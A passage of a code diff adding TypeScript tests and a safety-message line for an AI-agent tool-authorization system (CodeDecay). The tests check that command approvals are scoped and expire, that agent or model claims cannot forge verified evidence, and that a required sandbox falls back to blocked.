sessionId, approvalId: other.id } + }); + expect(mismatch.status).toBe("blocked"); + expect(mismatch.blockedReason).toContain("command scope mismatch"); + + const expired = createCapabilityApproval({ + sessionId, + capability: "command.execute", + command, + expiresAt: "2020-01-01T00:00:00.000Z" + }); + const expiredRun = await runConfiguredCommand({ + command, + cwd, + timeoutMs: 1000, + safety: createSafeCommandPolicy({ allowCommands: true }), + capabilityApproval: { + sessionId, + approvalId: expired.id, + now: new Date("2026-08-06T00:00:00.000Z") + } + }); + expect(expiredRun.status).toBe("blocked"); + expect(expiredRun.blockedReason).toContain("expired"); + }); + + it("UAT-SECURITY-6: fake agent/tool claims cannot forge verified evidence", () => { + expect(assertTrustedCapabilityEvidence({ source: "agent", claim: "verified" }).trusted).toBe(false); + expect(assertTrustedCapabilityEvidence({ source: "mcp", claim: "passed" }).trusted).toBe(false); + expect(assertTrustedCapabilityEvidence({ source: "model", claim: "safe" }).trusted).toBe(false); + expect(assertTrustedCapabilityEvidence({ source: "user-config", claim: "verified" }).trusted).toBe(true); + }); + + it("UAT-SECURITY-7: CLI/MCP/loop share the same authorizeCapability decisions", () => { + const policy = createDefaultCapabilityPolicy(); + const request = { + capability: "network" as const, + intent: { source: "user-config" as const }, + policy, + hosts: ["example.com"] + }; + const cli = authorizeCapability(request); + const mcp = authorizeCapability(request); + const loop = authorizeCapability(request); + expect(cli).toEqual(mcp); + expect(mcp).toEqual(loop); + expect(cli.allowed).toBe(false); + }); + + it("MCP confirmation scope cannot authorize an unrelated later tool", () => { + const approval = createCapabilityApproval({ + sessionId: "mcp-session", + capability: "command.execute", + command: "pnpm test", + toolName: "run_configured_checks" + }); + expect(assertMcpConfirmationScope(approval, "run_configured_checks", "command.execute").allowed).toBe(true); + expect(assertMcpConfirmationScope(approval, "product_run", "command.execute").allowed).toBe(false); + }); + + it("sandbox required degrades to blocked instead of silent full access", () => { + const isolation = evaluateProcessIsolation(); + expect(isolation.weakerIsolation).toBe(true); + + const required = enforceSandboxPolicy("required"); + expect(required.allowed).toBe(false); + expect(required.reason).toContain("degrading to blocked"); + + const decision = authorizeCapability({ + capability: "command.execute", + intent: { source: "user-config", allowCommands: true }, + policy: { version: 1, allow: [], sandbox: "required" }, + command: "node -e \"console.log(1)\"" + }); + expect(decision.allowed).toBe(false); + expect(decision.reason).toContain("degrading to blocked"); + + const bestEffort = enforceSandboxPolicy("best-effort"); + expect(bestEffort.allowed).toBe(true); + expect(bestEffort.reason).toContain("weaker isolation"); + }); +}); + +function createTempDir(): string { + const root = join(tmpdir(), `codedecay-capability-uat-${randomUUID()}`); + mkdirSync(root, { recursive: true }); + tempRoots.push(root); + return root; +} + +function createRedirectServer(location: string): Promise<{ url: string; close: () => Promise }> { + return new Promise((resolve, reject) => { + const server = createServer((_request, response) => { + response.writeHead(302, { Location: location }); + response.end(); + }); + server.once("error", reject); + server.listen(0, "127.0.0.1", () => { + const address = server.address(); + if (!address || typeof address === "string") { + reject(new Error("Failed to bind redirect server")); + return; + } + resolve({ + url: `http://127.0.0.1:${address.port}/`, + close: async () => + await new Promise((closeResolve, closeReject) => { + server.close((error) => { + if (error) { + closeReject(error); + return; + } + closeResolve(); + }); + }) + }); + }); + }); +} diff --git a/packages/mcp/src/execution/safety.ts b/packages/mcp/src/execution/safety.ts index 7cc95a5..fc92c0f 100644 --- a/packages/mcp/src/execution/safety.ts +++ b/packages/mcp/src/execution/safety.ts @@ -10,6 +10,7 @@ export function createExecutionSafety( "Only commands explicitly configured in CodeDecay config and enabled tool adapters are eligible to run.", "Command execution also requires safety.allowCommands: true in CodeDecay config.", "Configured commands also pass through safety.capabilityPolicy (default deny for elevated capabilities).", + "MCP confirmation is session-scoped: an approval authorizes only the exact tool/command scope and expires after consume or TTL.", "confirmExecution authorizes only this execute_configured_checks call; it does not grant unrelated later capabilities." ];